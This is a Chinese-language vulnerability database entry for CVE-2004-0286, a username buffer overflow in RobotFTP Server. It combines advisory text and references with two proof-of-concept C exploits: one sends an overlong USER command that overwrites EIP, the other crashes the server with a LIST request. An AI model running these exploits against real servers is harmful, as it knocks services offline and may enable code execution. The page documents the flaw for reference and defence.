CVE-2004-0286
CVSS10.0
发布时间 :2004-11-23 00:00:00
修订时间 :2016-10-17 22:43:10
NMCOES    

[原文]Buffer overflow in RobotFTP 1.0 and 2.0 beta 1 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long username.


[CNNVD]RobotFTP Server用户名缓冲区溢出漏洞(CNNVD-200411-061)

        
        Robotftp是一款方便设置的FTP服务程序。
        Robotftp在处理'USER'命令参数时缺少充分边界检查,远程攻击者可以利用这个漏洞对FTP程序进行缓冲区溢出攻击,可能以FTP进程权限在系统上执行任意指令。
        提交超长的用户名数据,可使FTP程序由于缓冲区溢出发生崩溃,精心构建提交数据可能以FTP进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:robotftp:robotftp_server:2.0_beta_1
cpe:/a:robotftp:robotftp_server:1.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0286
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0286
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200411-061
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=107696194306878&w=2
(UNKNOWN)  BUGTRAQ  20040215 buffer overflow in Robot FTP Server
http://www.securityfocus.com/bid/9672
(VENDOR_ADVISORY)  BID  9672
http://xforce.iss.net/xforce/xfdb/15225
(VENDOR_ADVISORY)  XF  robot-username-bo(15225)

- 漏洞信息

RobotFTP Server用户名缓冲区溢出漏洞
危急 边界条件错误
2004-11-23 00:00:00 2005-10-20 00:00:00
远程  
        
        Robotftp是一款方便设置的FTP服务程序。
        Robotftp在处理'USER'命令参数时缺少充分边界检查,远程攻击者可以利用这个漏洞对FTP程序进行缓冲区溢出攻击,可能以FTP进程权限在系统上执行任意指令。
        提交超长的用户名数据,可使FTP程序由于缓冲区溢出发生崩溃,精心构建提交数据可能以FTP进程权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        RobotFTP
        --------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.robotftp.com/

- 漏洞信息 (23708)

RobotFTP Server 1.0/2.0 Username Buffer Overflow Vulnerability (1) (EDBID:23708)
windows dos
2004-02-16 Verified
0 gsicht
N/A [点击下载]
source: http://www.securityfocus.com/bid/9672/info

A vulnerability has been reported for RobotFTP Server. The problem likely occurs due to insufficient bounds checking when processing 'USER' command arguments of excessive length.

/******************************
this is example code for the vulnerability. It uses the windows ftp client to connect to a server
******************************/
#include <stdio.h>

char buffer[2500];
char cmd[50];

int main(int argc, char *argv[])
{
        FILE *evil;

        if(argv[1] == NULL)
        {
                printf("Usage: %s [IP]\n\n",argv[0]);
                return 0;
        }

        memset(buffer,0x41,47);
        memcpy(buffer+47,"\r\n",2);
        memcpy(buffer+49,"crash",5);
        memcpy(buffer+54,"\r\n",2);
        memcpy(buffer+56,"USER ",5);
        memset(buffer+61,0x41,1989);
        memset(buffer+61+1989,0x58,4);  // << overwrites the eip with XXXX
        memcpy(buffer+65+1989,"\r\n",2);

        sprintf(cmd,"ftp -s:ftp.txt %s",argv[1]);


        if((evil = fopen("ftp.txt", "a+")) != NULL)
        {
                fputs(buffer, evil);
                fclose(evil);
                printf("- file written!\n");
        }
        else
        {
                fprintf(stderr, "ERROR: couldn't open ftp.txt!\n");
                exit(1);
        }
        system(cmd);

}
/*******************************/
		

- 漏洞信息 (23709)

RobotFTP Server 1.0/2.0 Username Buffer Overflow Vulnerability (2) (EDBID:23709)
windows dos
2004-02-16 Verified
0 NoRpiuS
N/A [点击下载]
source: http://www.securityfocus.com/bid/9672/info
 
A vulnerability has been reported for RobotFTP Server. The problem likely occurs due to insufficient bounds checking when processing 'USER' command arguments of excessive length.

/*************************************************************************************************
*                                                                                                *
* Date: 18/2/2004                                                                                *
* Url: www.robotftp.com                                                                          *
* Versions: 1.0/2.0                                                                              *
* Bug: Robotftp gets DoS'sed when an unauthorized user tries to do some command like MKD or LIST *
* Author: NoRpiUs                                                                                *
* Email: norpius@altervista.org                                                                  *
* Web: http://norpius.altervista.org                                                             *
* For Unix & Win                                                                                 *
*                                                                                                *
* I have done this for my birthday that is today :) - Robo-SOFT don't be angry :)                *
**************************************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#ifdef WIN32
    #include <winsock.h>
    #include <windows.h>
    #define close closesocket
#else
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif
#define DOSREQUEST "\x4C\x49\x53\x54\r\n"

void errore( char *err )
{
	printf("%s",err);
	exit(1);
}

void usage( char *progz )
{
	fputs("Robotftp FTP Server remote DoS\n"
	      "By NoRpiUs\n"
	      "Usage: <host> <port>\n", stdout);
	exit(1);
}

int main( int argc, char *argv[] )
{
	int sock;
	struct hostent *he;
	struct sockaddr_in target;
	char recvbuff[512];

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(0x1, &wsadata);
#endif

	if ( argc < 3 ) usage(argv[0]);

	if ( (he = gethostbyname(argv[1])) == NULL )
		errore("Can't resolve host");

	target.sin_family = AF_INET;
	target.sin_addr   = *(( struct in_addr *) he -> h_addr );
	target.sin_port   = htons(atoi(argv[2]));

	fputs("[+] Connecting...\n", stdout);

	if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) < 0)
		errore("[-] Can't create socket\n");

	if ( connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0 )
		errore("[-] Can't connect\n");	

	if ( recv( sock, recvbuff, sizeof(recvbuff), 0) < 0 )
		errore("[-] Server seems to be down\n");

	fputs("[+] Sending DoS request\n", stdout);

	if ( send( sock, DOSREQUEST, strlen(DOSREQUEST), 0) < 0 )
		errore("[-] Cant' send the request\n");

	fputs("[+] Done\n", stdout);

	close(sock);

	return(0);

}		

- 漏洞信息

3972
RobotFTP Server Long Username Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

- 时间线

2004-02-15 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

RobotFTP Server Username Buffer Overflow Vulnerability
Boundary Condition Error 9672
Yes No
2004-02-16 12:00:00 2009-07-12 03:06:00
Discovery of this vulnerability has been credited to gsicht gsicht <nothing.king@firemail.de>.

- 受影响的程序版本

RobotFTP RobotFTP Server 2.0 Beta 1
RobotFTP RobotFTP Server 1.0

- 漏洞讨论

A vulnerability has been reported for RobotFTP Server. The problem likely occurs due to insufficient bounds checking when processing 'USER' command arguments of excessive length.

- 漏洞利用

The following proof of concept denial of service exploit has been supplied:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站